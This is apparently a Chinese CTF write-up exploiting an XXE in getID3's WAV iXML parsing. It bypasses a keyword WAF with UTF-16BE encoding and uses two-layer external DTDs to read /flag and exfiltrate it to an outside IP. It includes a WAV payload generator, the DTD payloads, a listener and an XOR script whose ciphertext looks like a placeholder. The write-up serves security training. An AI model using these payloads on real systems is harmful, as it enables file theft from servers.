2026-09-20

出题——G.T.I 巡查团

本题来源于三角洲以及最近实战中所打的漏洞 CVE-2026-94108，属于 0day 一类，难度较高

题目地址：http://hbc.haobachang.com/see_bug_one?id=1448

信息收集

在源码中发现一段注释，暂且不知道何意为

注册一个账号登录后可以上传媒体文件作为巡查的素材，上传 WAV 是攻击入口

CVE-2026-94108

漏洞源码位于 getid3-1.9.26/getid3/getid3.lib.php

// ===== 第 14-20 行：XML 解析选项常量定义 =====
// 只在常量未定义 且 libxml 已加载时执行
if (!defined('GETID3_LIBXML_OPTIONS') && defined('LIBXML_VERSION')) {
    // libxml 版本 >= 2.6.21 时启用 COMPACT 选项
    if (LIBXML_VERSION >= 20621) {
        // LIBXML_NOENT    ：启用实体替换（XXE 的关键！）
        // LIBXML_NOWARNING：抑制警告
        // LIBXML_COMPACT  ：内存优化
        define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NOWARNING | LIBXML_COMPACT);
    } else {
        define('GETID3_LIBXML_OPTIONS', LIBXML_NOENT | LIBXML_NOWARNING);
    }
}

LIBXML_NOENT 启用了实体替换——这是 XXE 的前提

// ===== 第 740-760 行：XML2array 函数（PHP < 8.0 分支） =====
if (function_exists('libxml_disable_entity_loader')) {
    // 关闭实体加载器保护（允许加载外部实体）——这是漏洞关键
    $loader = @libxml_disable_entity_loader(false);
    // 用 GETID3_LIBXML_OPTIONS 解析 XML 字符串
    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', GETID3_LIBXML_OPTIONS);
    // 转换为数组
    $return = self::SimpleXMLelement2array($XMLobject);
    // 恢复原有的 loader 状态
    @libxml_disable_entity_loader($loader);
    return $return;
}

关键：

libxml_disable_entity_loader(false) —— 允许加载外部实体
simplexml_load_string 用 GETID3_LIBXML_OPTIONS 传入，包含 LIBXML_NOENT
传入的 $XMLstring 来自 WAV 文件的 iXML chunk

结论：XML2array 对攻击者可控的 XML 字符串进行解析，存在 XXE 漏洞

读 module.audio-video.riff.php，找到

// 检查 WAV 中是否存在 iXML chunk
if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {
    // 把 iXML chunk 里的字符串送进 XML2array 解析
    if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {
        // 解析成功后，结果存入 info['ixml']
        $this->info['ixml'] = $parsedXML;
    }
}

只要上传的 WAV 文件里有 iXML chunk，其内容就会进入 XML2array，触发 XXE

UTF-16BE 编码绕过

WAF 用 stripos($rawBytes, '<!DOCTYPE') 在原始字节流中搜索。stripos 把 needle 当作 UTF-8/ASCII 字节序列处理

<?php
// 加载应用引导文件（初始化配置、常量、autoload）
require_once __DIR__ . '/includes/bootstrap.php';
// 加载 Composer 自动加载器（getID3 的 autoload 在此注册）
require_once __DIR__ . '/vendor/autoload.php';

// ===== 1. 登录检查 =====
// 未登录用户直接跳转首页，阻断匿名上传
if (!GtiAuth::isLoggedIn()) {
    header('Location: index.php');
    exit;
}

// 上传目录：<项目根>/uploads
$uploadDir = GTI_ROOT . '/uploads';
// 允许上传的扩展名白名单（只允许媒体文件）
$allowedExt = array('mp3', 'wav', 'flac', 'ogg', 'm4a', 'aac', 'mp4', 'webm', 'avi', 'mov');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // ===== 2. 上传字段校验 =====
    // 表单字段名必须为 media_file
    if (!isset($_FILES['media_file'])) {
        $error = '请选择要上传的媒体文件。';
    } elseif ($_FILES['media_file']['error'] !== UPLOAD_ERR_OK) {
        // 上传过程本身出错（超过 php.ini 限制、传输中断等）
        $error = '上传失败，错误码：' . $_FILES['media_file']['error'];
    } else {
        $origName = $_FILES['media_file']['name'];      // 用户原始文件名
        $tmpPath  = $_FILES['media_file']['tmp_name'];  // PHP 临时文件路径
        $ext      = strtolower(pathinfo($origName, PATHINFO_EXTENSION)); // 小写扩展名

        // ===== 3. 扩展名白名单校验 =====
        if (!in_array($ext, $allowedExt, true)) {
            $error = '不支持的文件类型。';
        } elseif (!is_uploaded_file($tmpPath)) {
            // 防止伪造 $_FILES 绕过 HTTP 上传
            $error = '非法上传来源。';
        } else {
            // ===== 4. 生成目标文件名 =====
            // 拼接格式：<用户名>_<时间戳>_<md5前8位>.<扩展名>
            $username = GtiAuth::currentUsername();
            $filename = $username . '_' . date('YmdHis') . '_' 
                      . substr(md5($origName . microtime(true)), 0, 8) . '.' . $ext;
            $destAbs = $uploadDir . DIRECTORY_SEPARATOR . $filename;

            // ===== 5. 落盘 =====
            if (!move_uploaded_file($tmpPath, $destAbs)) {
                $error = '保存文件失败，请检查 uploads 目录权限。';
            } else {
                $savedRel = 'uploads/' . $filename;

                // ========== WAF 检查（关键点 1） ==========
                // 关键字黑名单：覆盖 XXE 常见关键词
                $wafBlocked = array(
                    '<!DOCTYPE', '<!ENTITY', 'SYSTEM', 'PUBLIC',
                    '%remote', '%send', '%file', '%eval', '%all', '%second',
                    'evil.dtd', 'evil2.dtd',
                    'file://', 'php://', 'gopher://', 'expect://', 'data:',
                    'http://', 'https://',
                );
                // 读取上传文件的原始字节流（不做任何解码/转换）
                $rawBytes = @file_get_contents($destAbs);
                $wafHit = false;
                if ($rawBytes !== false && $rawBytes !== '') {
                    // 逐关键字做大小写不敏感的字节级搜索
                    foreach ($wafBlocked as $needle) {
                        if (stripos($rawBytes, $needle) !== false) {
                            $wafHit = true;
                            break;
                        }
                    }
                }

                if ($wafHit) {
                    // 命中：删除文件，返回通用错误，不进入解析
                    unlink($destAbs);
                    $error = '上传失败，请检查文件后重试。';
                } else {
                    // ========== getID3 解析（漏洞点） ==========
                    try {
                        $getID3 = new getID3();
                        // 解析 WAV，提取元数据；WAV 的 iXML chunk 会进入 XML2array
                        $fileInfo = $getID3->analyze($destAbs);
                        // ... 提取 metadata（后续不关键，省略）
                    } catch (Exception $e) {
                        $error = '上传失败，请稍后重试。';
                    }
                }
            }
        }
    }
}

UTF-8 编码的 <!DOCTYPE：

1 2	3C 21 44 4F 43 54 59 50 45 < ! D O C T Y P E

UTF-16BE 编码的 <!DOCTYPE：

1 2	00 3C 00 21 00 44 00 4F 00 43 00 54 00 59 00 50 00 45 < ! D O C T Y P E

每个 ASCII 字符前插入了 0x00 空字节，stripos 搜索的字节序列是 3C 21 44 ...（9 字节），而 UTF-16BE 里是 00 3C 00 21 ...（18 字节），逐字节匹配失败

XML 规范规定，遇到 BOM FE FF 时切换到 UTF-16BE 解码器。解析器会把 00 3C 00 21 ... 还原为 <!DOCTYPE，正常解析，只有 BOM + 编码内容都正确，libxml 才会识别

构造 UTF-16BE WAV

import struct

# 攻击者服务器 IP（提供 DTD 与接收外带数据）
HOST = "185.245.41.19"

# 注意：XML 声明里写 encoding="UTF-16"
# 这里用 str（不是 bytes），因为后面要做 UTF-16BE 编码
ixml_str = f'''<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://{HOST}/evil.dtd">
  %remote;
  %send;
]>
<BWFXML>
  <IXML_VERSION>1.0</IXML_VERSION>
  <PROJECT>test</PROJECT>
</BWFXML>'''

# ===== 关键：UTF-16BE 编码 + BOM =====
# b'\xfe\xff' 是 UTF-16BE 的 BOM
# .encode('utf-16-be') 把每个 ASCII 字符扩展为 2 字节（高字节 0x00）
ixml_bytes = b'\xfe\xff' + ixml_str.encode('utf-16-be')

# fmt chunk（音频格式声明，不变）
fmt = struct.pack('<HHIIHH', 1, 1, 44100, 44100*2, 2, 16)
fmt_chunk = b'fmt ' + struct.pack('<I', len(fmt)) + fmt

# iXML chunk：长度字段必须用编码后的字节数，不是明文字符数
ixml_chunk = b'iXML' + struct.pack('<I', len(ixml_bytes)) + ixml_bytes

# data chunk（静音数据）
data_chunk = b'data' + struct.pack('<I', 100) + b'\x00' * 100

# 拼装完整 WAV
body = b'WAVE' + fmt_chunk + ixml_chunk + data_chunk
riff = b'RIFF' + struct.pack('<I', len(body)) + body
open('poc.wav', 'wb').write(riff)

准备文件 evil.dtd 文件

<!-- 读取 /flag 文件的内容，存到参数实体 %file 中 -->
<!ENTITY % file SYSTEM "file:///flag">
<!-- 定义参数实体 %eval，展开后会生成一个 %exfil 定义 -->
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://185.245.41.19:9999/?data=%file;'>">
<!-- 触发 %eval 展开 -->
%eval;
<!-- 引用 %exfil，触发 HTTP 外带请求 -->
%exfil;

WAV 里 iXML 改为：

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE root [
  <!-- 通过外部 SYSTEM 加载 evil.dtd -->
  <!ENTITY % remote SYSTEM "http://185.245.41.19/evil.dtd">
  <!-- 触发加载 -->
  %remote;
]>
<BWFXML>...</BWFXML>

结果：

HTTP 服务器收到了 /evil.dtd 请求
9999 监听没有收到回连数据

libxml 2.9.x 的一个重要限制：在解析外部 DTD 时，libxml 拒绝执行其中的 “通用实体定义”，只处理参数实体

<!ENTITY % file SYSTEM "file:///flag">                          ← 参数实体，OK
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM '...'>">         ← 参数实体，OK
%eval;                                                          ← 展开后生成：
<!ENTITY % exfil SYSTEM 'http://...'>                           ← 参数实体，但...
%exfil;                                                         ← 引用时...

libxml 的行为：

解析 evil.dtd 时，%eval 展开生成的 <!ENTITY % exfil SYSTEM ...> 被静默忽略
%exfil; 引用时找不到实体，不发起 HTTP 请求

双层 DTD 绕过 libxml 限制

核心思路：把 “定义参数实体” 这个操作，放到第二个 DTD 文件里，让它在新的解析上下文中执行

首先是第一层

<!-- 直接声明一个外部实体 %second，指向第二层 DTD -->
<!-- libxml 遇到这个声明会立即发起 HTTP 请求加载 evil2.dtd -->
<!ENTITY % second SYSTEM "http://185.245.41.19/evil2.dtd">
<!-- 触发加载 -->
%second;

然后是第二层

<!-- 读取服务器 /flag 文件，存到参数实体 %file 中 -->
<!ENTITY % file SYSTEM "file:///flag">
<!-- 定义参数实体 %all，展开后会定义参数实体 %send -->
<!-- &#x25; 是 % 的 HTML 实体编码，避免在字符串中被提前解析 -->
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://185.245.41.19:9999/?data=%file;'>">
<!-- 触发 %all 展开（生成 %send 定义） -->
%all;

WAV iXML

<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE root [
  <!-- 通过外部 SYSTEM 加载第一层 DTD -->
  <!ENTITY % remote SYSTEM "http://185.245.41.19/evil.dtd">
  <!-- 触发加载第一层 DTD -->
  %remote;
  <!-- 引用在 evil2.dtd 中定义的 %send，触发 HTTP 外带 -->
  %send;
]>
<BWFXML>
  <IXML_VERSION>1.0</IXML_VERSION>
  <PROJECT>test</PROJECT>
</BWFXML>

第二个监听的脚本，使用 Python 监听避免环境问题

import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 9999))
srv.listen(5)
print("[*] Listening on 0.0.0.0:9999...", flush=True)

while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}", flush=True)
    conn.settimeout(3)
    data = b""
    try:
        while True:
            chunk = conn.recv(4096)
            if not chunk:
                break
            data += chunk
    except socket.timeout:
        pass
    print("=== Received ===", flush=True)
    print(data.decode("utf-8", errors="replace"), flush=True)
    print("=================", flush=True)
    conn.close()

上传 WAV 后可以看到收到了两次请求

在另一个端口监听中拿到 /flag 的内容

最后编写脚本解密拿到 flag

# 从页面源码拿到的密文 hex
cipher_hex = "1a0d95b6d5e8a1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6"
# 从 OOB 监听拿到的密钥 hex
key_hex    = "943c7b294e7e04b9"

# 转换为 bytes
cipher = bytes.fromhex(cipher_hex)
key    = bytes.fromhex(key_hex)

# XOR 解密：密钥循环使用（key[i % len(key)]）
flag   = bytes(b ^ key[i % len(key)] for i, b in enumerate(cipher))
print(flag.decode())